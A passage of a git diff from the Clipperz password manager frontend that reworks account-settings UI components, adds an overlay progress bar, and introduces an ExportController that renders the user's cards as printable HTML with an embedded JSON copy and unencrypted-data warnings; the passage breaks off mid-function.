|
MochiKit.Base.map(this.renderCard, this.state.jsonToImport)
|
||||||
|
);
|
||||||
|
|
||||||
|
result =
|
||||||
|
React.DOM.div({'className': 'jsonPreview'}, React.DOM.ul({},
|
||||||
|
MochiKit.Base.map(this.renderCard, this.state.jsonToImport)
|
||||||
|
) );
|
||||||
|
}
|
||||||
|
|
||||||
|
return React.DOM.div({},result);
|
||||||
|
}
|
||||||
|
|
||||||
|
});
|
||||||
|
|
||||||
|
Clipperz.PM.UI.Components.ExtraFeatures.DataImport.Preview = React.createFactory(Clipperz.PM.UI.Components.ExtraFeatures.DataImport.PreviewClass);
|
@ -74,23 +74,22 @@ Clipperz.PM.UI.Components.ExtraFeatures.DeleteAccountClass = React.createClass({
|
|||||||
//=========================================================================
|
//=========================================================================
|
||||||
|
|
||||||
render: function () {
|
render: function () {
|
||||||
//~ var errorVisibility = (this.state.error) ? 'visible' : 'hidden';
|
|
||||||
|
|
||||||
return React.DOM.div({className:'extraFeature deleteAccount'}, [
|
return React.DOM.div({className:'extraFeature deleteAccount'}, [
|
||||||
React.DOM.h1({}, "Delete Account"),
|
React.DOM.h1({}, "Delete Account"),
|
||||||
React.DOM.form({'key':'form', 'className':'deleteAccountForm', 'onChange': this.handleFormChange, 'onSubmit':this.handleDeleteAccount}, [
|
React.DOM.div({'className': 'content'}, [
|
||||||
React.DOM.div({'key':'fields'},[
|
React.DOM.form({'key':'form', 'className':'deleteAccountForm', 'onChange': this.handleFormChange, 'onSubmit':this.handleDeleteAccount}, [
|
||||||
React.DOM.label({'key':'username-label', 'htmlFor' :'name'}, "username"),
|
React.DOM.div({'key':'fields'},[
|
||||||
React.DOM.input({'key':'username', 'className':this.state['username'], 'type':'text', 'name':'name', 'ref':'username', 'placeholder':"username", 'autoCapitalize':'none'}),
|
React.DOM.label({'key':'username-label', 'htmlFor' :'name'}, "username"),
|
||||||
React.DOM.label({'key':'passphrase-label', 'autoFocus': 'true', 'htmlFor' :'passphrase'}, "passphrase"),
|
React.DOM.input({'key':'username', 'className':this.state['username'], 'type':'text', 'name':'name', 'ref':'username', 'placeholder':"username", 'autoCapitalize':'none'}),
|
||||||
React.DOM.input({'key':'passphrase', 'className':this.state['passphrase'], 'type':'password', 'name':'passphrase', 'ref':'passphrase', 'placeholder':"passphrase"}),
|
React.DOM.label({'key':'passphrase-label', 'autoFocus': 'true', 'htmlFor' :'passphrase'}, "passphrase"),
|
||||||
React.DOM.p({}, [
|
React.DOM.input({'key':'passphrase', 'className':this.state['passphrase'], 'type':'password', 'name':'passphrase', 'ref':'passphrase', 'placeholder':"passphrase"}),
|
||||||
React.DOM.input({'key':'confirm', 'className':'confirmCheckbox', 'type':'checkbox', 'name':'confirm', 'ref':'confirm'}),
|
React.DOM.p({}, [
|
||||||
React.DOM.span({}, "I understand that all my data will be deleted and that this action is irreversible.")
|
React.DOM.input({'key':'confirm', 'className':'confirmCheckbox', 'type':'checkbox', 'name':'confirm', 'ref':'confirm'}),
|
||||||
|
React.DOM.span({}, "I understand that all my data will be deleted and that this action is irreversible.")
|
||||||
|
]),
|
||||||
]),
|
]),
|
||||||
]),
|
React.DOM.button({'key':'button', 'type':'submit', 'disabled':!this.shouldEnableDeleteAccountButton(), 'className':'button'}, "Delete my account")
|
||||||
React.DOM.button({'key':'button', 'type':'submit', 'disabled':!this.shouldEnableDeleteAccountButton(), 'className':'button'}, "Delete my account")
|
])
|
||||||
//~ React.DOM.div({ref: 'errorMessage', className: 'errorMessage', style: {visibility: errorVisibility} }, this.state.error)
|
|
||||||
])
|
])
|
||||||
]);
|
]);
|
||||||
},
|
},
|
||||||
|
@ -36,7 +36,9 @@ Clipperz.PM.UI.Components.ExtraFeatures.DevicePINClass = React.createClass({
|
|||||||
render: function () {
|
render: function () {
|
||||||
return React.DOM.div({className:'extraFeature devicePIN'}, [
|
return React.DOM.div({className:'extraFeature devicePIN'}, [
|
||||||
React.DOM.h1({}, "Device PIN"),
|
React.DOM.h1({}, "Device PIN"),
|
||||||
React.DOM.h3({}, this.props['PIN'])
|
React.DOM.div({'className': 'content'}, [
|
||||||
|
React.DOM.h3({}, this.props['PIN'])
|
||||||
|
])
|
||||||
]);
|
]);
|
||||||
},
|
},
|
||||||
|
|
||||||
|
@ -101,27 +101,29 @@ Clipperz.PM.UI.Components.ExtraFeatures.PassphraseClass = React.createClass({
|
|||||||
render: function () {
|
render: function () {
|
||||||
return React.DOM.div({className:'extraFeature passphrase'}, [
|
return React.DOM.div({className:'extraFeature passphrase'}, [
|
||||||
React.DOM.h1({}, "Change Passphrase"),
|
React.DOM.h1({}, "Change Passphrase"),
|
||||||
React.DOM.form({'key':'form', 'className':'changePassphraseForm', 'onChange': this.handleFormChange, 'onSubmit':this.handleChangePassphrase}, [
|
React.DOM.div({'className': 'content'}, [
|
||||||
React.DOM.div({'key':'fields'},[
|
React.DOM.form({'key':'form', 'className':'changePassphraseForm', 'onChange': this.handleFormChange, 'onSubmit':this.handleChangePassphrase}, [
|
||||||
React.DOM.label({'key':'username-label', 'htmlFor' :'name'}, "username"),
|
React.DOM.div({'key':'fields'},[
|
||||||
React.DOM.input({'key':'username', 'className':this.state['username'], 'type':'text', 'name':'name', 'ref':'username', 'placeholder':"username", 'autoCapitalize':'none'}),
|
React.DOM.label({'key':'username-label', 'htmlFor' :'name'}, "username"),
|
||||||
|
React.DOM.input({'key':'username', 'className':this.state['username'], 'type':'text', 'name':'name', 'ref':'username', 'placeholder':"username", 'autoCapitalize':'none'}),
|
||||||
|
|
||||||
React.DOM.label({'key':'old-passphrase-label', 'htmlFor' :'old-passphrase'}, "old passphrase"),
|
React.DOM.label({'key':'old-passphrase-label', 'htmlFor' :'old-passphrase'}, "old passphrase"),
|
||||||
React.DOM.input({'key':'old-passphrase', 'className':this.state['old-passphrase'], 'type':'password', 'name':'old-passphrase', 'ref':'old-passphrase', 'placeholder':"old passphrase"}),
|
React.DOM.input({'key':'old-passphrase', 'className':this.state['old-passphrase'], 'type':'password', 'name':'old-passphrase', 'ref':'old-passphrase', 'placeholder':"old passphrase"}),
|
||||||
|
|
||||||
React.DOM.label({'key':'new-passphrase-label', 'autoFocus': 'true', 'htmlFor' :'new-passphrase'}, "new passphrase"),
|
React.DOM.label({'key':'new-passphrase-label', 'autoFocus': 'true', 'htmlFor' :'new-passphrase'}, "new passphrase"),
|
||||||
React.DOM.input({'key':'new-passphrase', 'className':this.state['new-passphrase'], 'type':'password', 'name':'new-passphrase', 'ref':'new-passphrase', 'placeholder':"new passphrase"}),
|
React.DOM.input({'key':'new-passphrase', 'className':this.state['new-passphrase'], 'type':'password', 'name':'new-passphrase', 'ref':'new-passphrase', 'placeholder':"new passphrase"}),
|
||||||
|
|
||||||
React.DOM.label({'key':'confirm-new-passphrase-label', 'htmlFor' :'confirm-new-passphrase'}, "confirm new passphrase"),
|
React.DOM.label({'key':'confirm-new-passphrase-label', 'htmlFor' :'confirm-new-passphrase'}, "confirm new passphrase"),
|
||||||
React.DOM.input({'key':'confirm-new-passphrase', 'className':this.state['confirm-new-passphrase'], 'type':'password', 'name':'confirm-new-passphrase', 'ref':'confirm-new-passphrase', 'placeholder':"confirm new passphrase"}),
|
React.DOM.input({'key':'confirm-new-passphrase', 'className':this.state['confirm-new-passphrase'], 'type':'password', 'name':'confirm-new-passphrase', 'ref':'confirm-new-passphrase', 'placeholder':"confirm new passphrase"}),
|
||||||
|
|
||||||
React.DOM.p({}, [
|
React.DOM.p({}, [
|
||||||
React.DOM.input({'key':'confirm', 'className':'confirmCheckbox', 'type':'checkbox', 'name':'confirm', 'ref':'confirm'}),
|
React.DOM.input({'key':'confirm', 'className':'confirmCheckbox', 'type':'checkbox', 'name':'confirm', 'ref':'confirm'}),
|
||||||
React.DOM.span({}, "I understand that Clipperz will not be able to recover a lost passphrase.")
|
React.DOM.span({}, "I understand that Clipperz will not be able to recover a lost passphrase.")
|
||||||
|
]),
|
||||||
]),
|
]),
|
||||||
]),
|
React.DOM.button({'key':'button', 'type':'submit', 'disabled':!this.shouldEnableChangePassphraseButton(), 'className':'button'}, "Change passphrase"),
|
||||||
React.DOM.button({'key':'button', 'type':'submit', 'disabled':!this.shouldEnableChangePassphraseButton(), 'className':'button'}, "Change passphrase"),
|
])
|
||||||
]),
|
])
|
||||||
]);
|
]);
|
||||||
},
|
},
|
||||||
|
|
||||||
|
@ -53,11 +53,15 @@ Clipperz.Base.extend(Clipperz.PM.UI.Components.Overlay, Object, {
|
|||||||
|
|
||||||
//-------------------------------------------------------------------------
|
//-------------------------------------------------------------------------
|
||||||
|
|
||||||
'show': function (aMessage, showMask) {
|
'show': function (aMessage, showMask, showProgress) {
|
||||||
if (showMask === true) {
|
if (showMask === true) {
|
||||||
this.showMask();
|
this.showMask();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (showProgress === true) {
|
||||||
|
this.showProgressBar();
|
||||||
|
}
|
||||||
|
|
||||||
this.resetStatus();
|
this.resetStatus();
|
||||||
this.setMessage(aMessage);
|
this.setMessage(aMessage);
|
||||||
MochiKit.DOM.removeElementClass(this.element(), 'ios-overlay-hide');
|
MochiKit.DOM.removeElementClass(this.element(), 'ios-overlay-hide');
|
||||||
@ -66,6 +70,7 @@ Clipperz.Base.extend(Clipperz.PM.UI.Components.Overlay, Object, {
|
|||||||
|
|
||||||
'done': function (aMessage, aDelayBeforeHiding) {
|
'done': function (aMessage, aDelayBeforeHiding) {
|
||||||
this.hideMask();
|
this.hideMask();
|
||||||
|
this.hideProgressBar();
|
||||||
this.completed(this.showDoneIcon, aMessage, aDelayBeforeHiding);
|
this.completed(this.showDoneIcon, aMessage, aDelayBeforeHiding);
|
||||||
},
|
},
|
||||||
|
|
||||||
@ -114,6 +119,7 @@ Clipperz.Base.extend(Clipperz.PM.UI.Components.Overlay, Object, {
|
|||||||
|
|
||||||
'hide': function () {
|
'hide': function () {
|
||||||
var element = this.element();
|
var element = this.element();
|
||||||
|
this.hideProgressBar();
|
||||||
MochiKit.DOM.removeElementClass(element, 'ios-overlay-show');
|
MochiKit.DOM.removeElementClass(element, 'ios-overlay-show');
|
||||||
MochiKit.DOM.addElementClass(element, 'ios-overlay-hide');
|
MochiKit.DOM.addElementClass(element, 'ios-overlay-hide');
|
||||||
return MochiKit.Async.callLater(1, MochiKit.Style.hideElement, element);
|
return MochiKit.Async.callLater(1, MochiKit.Style.hideElement, element);
|
||||||
@ -133,6 +139,21 @@ Clipperz.Base.extend(Clipperz.PM.UI.Components.Overlay, Object, {
|
|||||||
|
|
||||||
//-------------------------------------------------------------------------
|
//-------------------------------------------------------------------------
|
||||||
|
|
||||||
|
'showProgressBar': function () {
|
||||||
|
MochiKit.Style.showElement(this.getElement('progressBar'));
|
||||||
|
},
|
||||||
|
|
||||||
|
'hideProgressBar': function () {
|
||||||
|
MochiKit.Style.hideElement(this.getElement('progressBar'));
|
||||||
|
},
|
||||||
|
|
||||||
|
'updateProgress': function (aProgressPercentage) {
|
||||||
|
MochiKit.Style.setElementDimensions(this.getElement('progress'), {'w': aProgressPercentage}, '%');
|
||||||
|
//console.log("OVERLAY - updating progress: " + aProgressPercentage + "%");
|
||||||
|
},
|
||||||
|
|
||||||
|
//-------------------------------------------------------------------------
|
||||||
|
|
||||||
'defaultDelay': function () {
|
'defaultDelay': function () {
|
||||||
return this._defaultDelay;
|
return this._defaultDelay;
|
||||||
},
|
},
|
||||||
|
@ -70,9 +70,13 @@ Clipperz.PM.UI.Components.Panels.ExtraFeaturesPanelClass = React.createClass({
|
|||||||
|
|
||||||
//=========================================================================
|
//=========================================================================
|
||||||
|
|
||||||
showExtraFeatureComponent: function (aComponentName) {
|
toggleExtraFeatureComponent: function (aComponentName) {
|
||||||
return MochiKit.Base.bind(function () {
|
return MochiKit.Base.bind(function () {
|
||||||
this.showExtraFeatureContent(Clipperz.PM.UI.Components.ExtraFeatures[aComponentName], aComponentName);
|
if (this.state['extraFeatureComponentName'] != aComponentName) {
|
||||||
|
this.showExtraFeatureContent(Clipperz.PM.UI.Components.ExtraFeatures[aComponentName], aComponentName);
|
||||||
|
} else {
|
||||||
|
this.hideExtraFeatureContent();
|
||||||
|
}
|
||||||
}, this);
|
}, this);
|
||||||
},
|
},
|
||||||
|
|
||||||
@ -118,7 +122,7 @@ Clipperz.PM.UI.Components.Panels.ExtraFeaturesPanelClass = React.createClass({
|
|||||||
React.DOM.li({'key':'account', 'className':this.state['index']['account'] ? 'open' : 'closed'}, [
|
React.DOM.li({'key':'account', 'className':this.state['index']['account'] ? 'open' : 'closed'}, [
|
||||||
React.DOM.h1({'key':'accountH1', 'onClick':this.toggleIndexState('account')}, "Account"),
|
React.DOM.h1({'key':'accountH1', 'onClick':this.toggleIndexState('account')}, "Account"),
|
||||||
React.DOM.ul({'key':'accountUL'}, [
|
React.DOM.ul({'key':'accountUL'}, [
|
||||||
React.DOM.li({'key':'account_1', 'onClick':this.showExtraFeatureComponent('Passphrase'), 'className':(this.state['extraFeatureComponentName'] == 'Passphrase') ? 'selected' : ''}, [
|
React.DOM.li({'key':'account_1', 'onClick':this.toggleExtraFeatureComponent('Passphrase'), 'className':(this.state['extraFeatureComponentName'] == 'Passphrase') ? 'selected' : ''}, [
|
||||||
React.DOM.h2({'key':'account_1_h2'}, "Passphrase"),
|
React.DOM.h2({'key':'account_1_h2'}, "Passphrase"),
|
||||||
React.DOM.div({'key':'account_1_div'}, [
|
React.DOM.div({'key':'account_1_div'}, [
|
||||||
React.DOM.p({'key':'account_1_p'}, "Change your account passphrase.")
|
React.DOM.p({'key':'account_1_p'}, "Change your account passphrase.")
|
||||||
@ -130,7 +134,7 @@ Clipperz.PM.UI.Components.Panels.ExtraFeaturesPanelClass = React.createClass({
|
|||||||
React.DOM.p({}, "")
|
React.DOM.p({}, "")
|
||||||
])
|
])
|
||||||
]),
|
]),
|
||||||
React.DOM.li({'key':'account_3', 'onClick':this.showExtraFeatureComponent('DevicePIN')}, [
|
React.DOM.li({'key':'account_3', 'onClick':this.toggleExtraFeatureComponent('DevicePIN')}, [
|
||||||
React.DOM.h2({}, "Device PIN"),
|
React.DOM.h2({}, "Device PIN"),
|
||||||
React.DOM.div({}, [
|
React.DOM.div({}, [
|
||||||
React.DOM.p({}, "Configure a PIN that will allow to get access to your cards, but only on this device.")
|
React.DOM.p({}, "Configure a PIN that will allow to get access to your cards, but only on this device.")
|
||||||
@ -142,7 +146,7 @@ Clipperz.PM.UI.Components.Panels.ExtraFeaturesPanelClass = React.createClass({
|
|||||||
React.DOM.p({}, "")
|
React.DOM.p({}, "")
|
||||||
])
|
])
|
||||||
]),
|
]),
|
||||||
React.DOM.li({'key':'account_5', 'onClick':this.showExtraFeatureComponent('DeleteAccount'), 'className':(this.state['extraFeatureComponentName'] == 'DeleteAccount') ? 'selected' : ''}, [
|
React.DOM.li({'key':'account_5', 'onClick':this.toggleExtraFeatureComponent('DeleteAccount'), 'className':(this.state['extraFeatureComponentName'] == 'DeleteAccount') ? 'selected' : ''}, [
|
||||||
React.DOM.h2({}, "Delete account"),
|
React.DOM.h2({}, "Delete account"),
|
||||||
React.DOM.div({}, [
|
React.DOM.div({}, [
|
||||||
React.DOM.p({}, "Delete your account for good.")
|
React.DOM.p({}, "Delete your account for good.")
|
||||||
@ -182,29 +186,29 @@ Clipperz.PM.UI.Components.Panels.ExtraFeaturesPanelClass = React.createClass({
|
|||||||
React.DOM.li({'key':'data', 'className':this.state['index']['data'] ? 'open' : 'closed'}, [
|
React.DOM.li({'key':'data', 'className':this.state['index']['data'] ? 'open' : 'closed'}, [
|
||||||
React.DOM.h1({'onClick':this.toggleIndexState('data')}, "Data"),
|
React.DOM.h1({'onClick':this.toggleIndexState('data')}, "Data"),
|
||||||
React.DOM.ul({'key':'data'}, [
|
React.DOM.ul({'key':'data'}, [
|
||||||
React.DOM.li({'key':'data_1'}, [
|
// React.DOM.li({'key':'data_1'}, [
|
||||||
React.DOM.h2({}, "Offline copy"),
|
// React.DOM.h2({}, "Offline copy"),
|
||||||
React.DOM.div({}, [
|
// React.DOM.div({}, [
|
||||||
React.DOM.p({}, "With just one click you can dump all your encrypted data from Clipperz servers to your hard disk and create a read-only offline version of Clipperz to be used when you are not connected to the Internet."),
|
// React.DOM.p({}, "With just one click you can dump all your encrypted data from Clipperz servers to your hard disk and create a read-only offline version of Clipperz to be used when you are not connected to the Internet."),
|
||||||
React.DOM.a({'className':Clipperz.PM.UI.Components.classNames(offlineCopyButtonClasses), 'onClick':this.handleDownloadOfflineCopyLink}, "Download")
|
// React.DOM.a({'className':Clipperz.PM.UI.Components.classNames(offlineCopyButtonClasses), 'onClick':this.handleDownloadOfflineCopyLink}, "Download")
|
||||||
])
|
// ])
|
||||||
]),
|
// ]),
|
||||||
React.DOM.li({'key':'data_2'}, [
|
React.DOM.li({'key':'data_2', 'onClick':this.toggleExtraFeatureComponent('DataImport'), 'className':(this.state['extraFeatureComponentName'] == 'DataImport') ? 'selected' : ''}, [
|
||||||
React.DOM.h2({}, "Import"),
|
React.DOM.h2({}, "Import"),
|
||||||
React.DOM.div({}, [
|
React.DOM.div({}, [
|
||||||
React.DOM.p({}, "")
|
React.DOM.p({}, "CSV, JSON, …")
|
||||||
])
|
])
|
||||||
]),
|
]),
|
||||||
React.DOM.li({'key':'data_3'}, [
|
React.DOM.li({'key':'data_3', 'onClick':this.toggleExtraFeatureComponent('DataExport'), 'className':(this.state['extraFeatureComponentName'] == 'DataExport') ? 'selected' : ''}, [
|
||||||
React.DOM.h2({}, "Export"),
|
React.DOM.h2({}, "Export"),
|
||||||
React.DOM.div({}, [
|
React.DOM.div({}, [
|
||||||
React.DOM.p({}, "")
|
React.DOM.p({}, "Offline copy, printable version, JSON, …")
|
||||||
])
|
])
|
||||||
]),
|
]),
|
||||||
React.DOM.li({'key':'data_4'}, [
|
React.DOM.li({'key':'data_4'}, [
|
||||||
React.DOM.h2({}, "Sharing"),
|
React.DOM.h2({}, "Sharing"),
|
||||||
React.DOM.div({}, [
|
React.DOM.div({}, [
|
||||||
React.DOM.p({}, "")
|
React.DOM.p({}, "Securely share cards with other users")
|
||||||
])
|
])
|
||||||
])
|
])
|
||||||
])
|
])
|
||||||
@ -229,17 +233,20 @@ Clipperz.PM.UI.Components.Panels.ExtraFeaturesPanelClass = React.createClass({
|
|||||||
|
|
||||||
render: function () {
|
render: function () {
|
||||||
//console.log("ExtraFeaturesPanel props", this.props);
|
//console.log("ExtraFeaturesPanel props", this.props);
|
||||||
|
var isOpen = (this.props['settingsPanelStatus'] == 'OPEN');
|
||||||
|
var isFullyOpen = isOpen && this.state['isFullyOpen'];
|
||||||
|
|
||||||
var classes = {
|
var classes = {
|
||||||
'panel': true,
|
'panel': true,
|
||||||
'right': true,
|
'right': true,
|
||||||
'open': this.props['settingsPanelStatus'] == 'OPEN',
|
'open': isOpen,
|
||||||
'fullOpen': this.state['isFullyOpen']
|
'fullOpen': isFullyOpen
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
return React.DOM.div({'key':'extraFeaturesPanel', 'id':'extraFeaturesPanel', 'className':Clipperz.PM.UI.Components.classNames(classes)}, [
|
return React.DOM.div({'key':'extraFeaturesPanel', 'id':'extraFeaturesPanel', 'className':Clipperz.PM.UI.Components.classNames(classes)}, [
|
||||||
this.renderIndex(),
|
this.renderIndex(),
|
||||||
this.renderContent(),
|
this.renderContent(),
|
||||||
|
// (this.props['settingsPanelStatus'] == 'OPEN') ? this.renderContent() : null,
|
||||||
]);
|
]);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
278
frontend/delta/js/Clipperz/PM/UI/ExportController.js
Normal file
278
frontend/delta/js/Clipperz/PM/UI/ExportController.js
Normal file
@ -0,0 +1,278 @@
|
|||||||
|
/*
|
||||||
|
|
||||||
|
Copyright 2008-2015 Clipperz Srl
|
||||||
|
|
||||||
|
This file is part of Clipperz, the online password manager.
|
||||||
|
For further information about its features and functionalities please
|
||||||
|
refer to http://www.clipperz.com.
|
||||||
|
|
||||||
|
* Clipperz is free software: you can redistribute it and/or modify it
|
||||||
|
under the terms of the GNU Affero General Public License as published
|
||||||
|
by the Free Software Foundation, either version 3 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
* Clipperz is distributed in the hope that it will be useful, but
|
||||||
|
WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||||
|
See the GNU Affero General Public License for more details.
|
||||||
|
|
||||||
|
* You should have received a copy of the GNU Affero General Public
|
||||||
|
License along with Clipperz. If not, see http://www.gnu.org/licenses/.
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
"use strict";
|
||||||
|
Clipperz.Base.module('Clipperz.PM.UI');
|
||||||
|
|
||||||
|
// https://github.com/eligrey/FileSaver.js
|
||||||
|
// https://github.com/eligrey/Blob.js
|
||||||
|
|
||||||
|
Clipperz.PM.UI.ExportController = function(args) {
|
||||||
|
this._recordsInfo = args['recordsInfo'] || Clipperz.Base.exception.raise('MandatoryParameter');
|
||||||
|
this._processedRecords = 0;
|
||||||
|
|
||||||
|
this._style =
|
||||||
|
"body {" +
|
||||||
|
"font-family: 'Dejavu Sans', monospace;" +
|
||||||
|
"margin: 0px;" +
|
||||||
|
"}" +
|
||||||
|
|
||||||
|
"header {" +
|
||||||
|
"padding: 10px;" +
|
||||||
|
"border-bottom: 2px solid black;" +
|
||||||
|
"}" +
|
||||||
|
|
||||||
|
"h1 {" +
|
||||||
|
"margin: 0px;" +
|
||||||
|
"}" +
|
||||||
|
|
||||||
|
"h2 {" +
|
||||||
|
"margin: 0px;" +
|
||||||
|
"padding-top: 10px;" +
|
||||||
|
"}" +
|
||||||
|
|
||||||
|
"h3 {" +
|
||||||
|
"margin: 0px;" +
|
||||||
|
"}" +
|
||||||
|
|
||||||
|
"h5 {" +
|
||||||
|
"margin: 0px;" +
|
||||||
|
"color: gray;" +
|
||||||
|
"}" +
|
||||||
|
|
||||||
|
"ul {" +
|
||||||
|
"margin: 0px;" +
|
||||||
|
"padding: 0px;" +
|
||||||
|
"}" +
|
||||||
|
|
||||||
|
"div > ul > li {" +
|
||||||
|
"border-bottom: 1px solid black;" +
|
||||||
|
"padding: 10px;" +
|
||||||
|
"}" +
|
||||||
|
|
||||||
|
"div > ul > li.archived {" +
|
||||||
|
"background-color: #ddd;" +
|
||||||
|
"}" +
|
||||||
|
|
||||||
|
|
||||||
|
"ul > li > ul > li {" +
|
||||||
|
"font-size: 9pt;" +
|
||||||
|
"display: inline-block;" +
|
||||||
|
"}" +
|
||||||
|
|
||||||
|
"ul > li > ul > li:after {" +
|
||||||
|
"content: \",\";" +
|
||||||
|
"padding-right: 5px;" +
|
||||||
|
"}" +
|
||||||
|
|
||||||
|
"ul > li > ul > li:last-child:after {" +
|
||||||
|
"content: \"\";" +
|
||||||
|
"padding-right: 0px;" +
|
||||||
|
"}" +
|
||||||
|
|
||||||
|
"dl {" +
|
||||||
|
"}" +
|
||||||
|
|
||||||
|
"dt {" +
|
||||||
|
"color: gray;" +
|
||||||
|
"font-size: 9pt;" +
|
||||||
|
"}" +
|
||||||
|
|
||||||
|
"dd {" +
|
||||||
|
"margin: 0px;" +
|
||||||
|
"margin-bottom: 5px;" +
|
||||||
|
"padding-left: 10px;" +
|
||||||
|
"}" +
|
||||||
|
|
||||||
|
"div > div {" +
|
||||||
|
"background-color: black;" +
|
||||||
|
"color: white;" +
|
||||||
|
"padding: 10px;" +
|
||||||
|
"}" +
|
||||||
|
|
||||||
|
"textarea {" +
|
||||||
|
"width: 100%;" +
|
||||||
|
"height: 200px;" +
|
||||||
|
"}" +
|
||||||
|
|
||||||
|
"@media print {" +
|
||||||
|
"div > div, header > div {" +
|
||||||
|
"display: none !important;" +
|
||||||
|
"}" +
|
||||||
|
|
||||||
|
"ul > li {" +
|
||||||
|
"page-break-inside: avoid;" +
|
||||||
|
"} " +
|
||||||
|
"}" +
|
||||||
|
|
||||||
|
"";
|
||||||
|
|
||||||
|
return this;
|
||||||
|
}
|
||||||
|
|
||||||
|
MochiKit.Base.update(Clipperz.PM.UI.ExportController.prototype, {
|
||||||
|
|
||||||
|
'toString': function() {
|
||||||
|
return "Clipperz.PM.UI.ExportController";
|
||||||
|
},
|
||||||
|
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
|
||||||
|
'recordsInfo': function () {
|
||||||
|
return this._recordsInfo;
|
||||||
|
},
|
||||||
|
|
||||||
|
//=============================================================================
|
||||||
|
|
||||||
|
'reportRecordExport': function (aRecordData) {
|
||||||
|
var percentage;
|
||||||
|
var exportedCardsCount;
|
||||||
|
var totalCardsToExport;
|
||||||
|
|
||||||
|
this._processedRecords = this._processedRecords + 1;
|
||||||
|
|
||||||
|
exportedCardsCount = this._processedRecords;
|
||||||
|
totalCardsToExport = this.recordsInfo().length;
|
||||||
|
percentage = Math.round(100 * exportedCardsCount / totalCardsToExport);
|
||||||
|
|
||||||
|
//console.log("PROCESSING " + exportedCardsCount + "/" + totalCardsToExport + " - " + percentage + "%");
|
||||||
|
MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'updateProgress', percentage);
|
||||||
|
|
||||||
|
return MochiKit.Async.succeed(aRecordData);
|
||||||
|
},
|
||||||
|
|
||||||
|
//=============================================================================
|
||||||
|
|
||||||
|
'renderCardToHtml': function (jsonCardData) {
|
||||||
|
var label = Clipperz.PM.DataModel.Record.extractLabelFromFullLabel(jsonCardData.label);
|
||||||
|
var allTags = MochiKit.Base.keys(Clipperz.PM.DataModel.Record.extractTagsFromFullLabel(jsonCardData.label));
|
||||||
|
var regularTags = MochiKit.Base.filter(Clipperz.PM.DataModel.Record.isRegularTag, allTags);
|
||||||
|
var isArchived = MochiKit.Iter.some(allTags, MochiKit.Base.partial(MochiKit.Base.objEqual, Clipperz.PM.DataModel.Record.archivedTag));
|
||||||
|
|
||||||
|
return MochiKit.DOM.LI({'class': isArchived ? 'archived' : ""},
|
||||||
|
MochiKit.DOM.H2({}, label),
|
||||||
|
(regularTags.length > 0) ? MochiKit.DOM.UL({}, MochiKit.Base.map(function (tag) { return MochiKit.DOM.LI({}, tag);}, regularTags)): null,
|
||||||
|
MochiKit.DOM.DIV({},
|
||||||
|
MochiKit.DOM.DL({},
|
||||||
|
MochiKit.Base.map(function(key) {
|
||||||
|
return [
|
||||||
|
MochiKit.DOM.DT(jsonCardData.currentVersion.fields[key].label),
|
||||||
|
MochiKit.DOM.DD(jsonCardData.currentVersion.fields[key].value),
|
||||||
|
];
|
||||||
|
}, MochiKit.Base.keys(jsonCardData.currentVersion.fields))
|
||||||
|
)
|
||||||
|
),
|
||||||
|
jsonCardData.data.notes ? MochiKit.DOM.P({}, jsonCardData.data.notes) : null
|
||||||
|
);
|
||||||
|
},
|
||||||
|
|
||||||
|
'renderToHtml': function (jsonData) {
|
||||||
|
var title;
|
||||||
|
var style;
|
||||||
|
var date;
|
||||||
|
var body;
|
||||||
|
|
||||||
|
title = "Clipperz data";
|
||||||
|
style = this._style;
|
||||||
|
date = "dd/mm/yyyy";
|
||||||
|
|
||||||
|
body = MochiKit.DOM.DIV({},
|
||||||
|
MochiKit.DOM.HEADER({},
|
||||||
|
MochiKit.DOM.H1({}, "Your data on Clipperz"),
|
||||||
|
MochiKit.DOM.H5({}, "Export date: " + date),
|
||||||
|
MochiKit.DOM.DIV({},
|
||||||
|
MochiKit.DOM.P({}, "Security warning - This file lists the content of all your cards in a printer-friendly format. At the very bottom, the same content is also available in JSON format."),
|
||||||
|
MochiKit.DOM.P({}, "Beware: all data are unencrypted! Therefore make sure to properly store and manage this file. We recommend to delete it as soon as it is no longer needed."),
|
||||||
|
MochiKit.DOM.P({}, "If you are going to print its content on paper, store the printout in a safe and private place!"),
|
||||||
|
MochiKit.DOM.P({}, "And, if you need to access your data when no Internet connection is available, please consider the much safer option of creating an offline copy.")
|
||||||
|
)
|
||||||
|
),
|
||||||
|
|
||||||
|
MochiKit.DOM.UL({}, MochiKit.Base.map(this.renderCardToHtml, jsonData)),
|
||||||
|
MochiKit.DOM.DIV({},
|
||||||
|
MochiKit.DOM.H3({}, "JSON content"),
|
||||||
|
MochiKit.DOM.DIV({},
|
||||||
|
MochiKit.DOM.P({}, "Instructions on how to use JSON content"),
|
||||||
|
MochiKit.DOM.P({}, "The JSON version of your data may be useful if you want to move the whole content of your Clipperz account to a new Clipperz account or recover a card that has been accidentally deleted. Just follow these instructions:"),
|
||||||
|
MochiKit.DOM.OL({},
|
||||||
|
MochiKit.DOM.LI({}, "Login to your Clipperz account and go to \"Data > Import\"."),
|
||||||
|
MochiKit.DOM.LI({}, "Select the JSON option."),
|
||||||
|
MochiKit.DOM.LI({}, "Copy and paste the JSON content in the form.")
|
||||||
|
),
|
||||||
|
MochiKit.DOM.P({}, "Of course, the unencrypted JSON content won't be transmitted to the Clipperz server.")
|
||||||
|
),
|
||||||
|
MochiKit.DOM.TEXTAREA({}, Clipperz.Base.serializeJSON(jsonData)),
|
||||||
|
MochiKit.DOM.FOOTER({},
|
||||||
|
MochiKit.DOM.P({},
|
||||||
|
"This file has been downloaded from clipperz.is, a service by Clipperz Srl. - ",
|
||||||
|
MochiKit.DOM.A({'href':'https://clipperz.is/terms_service/'}, "Terms of service"),
|
||||||
|
" - ",
|
||||||
|
MochiKit.DOM.A({'href':'https://clipperz.is/privacy_policy/'}, "Privacy policy")
|
||||||
|
),
|
||||||
|
MochiKit.DOM.H4({}, "Clipperz - keep it to yourself")
|
||||||
|
)
|
||||||
|
)
|
||||||
|
);
|
||||||
|
|
||||||
|
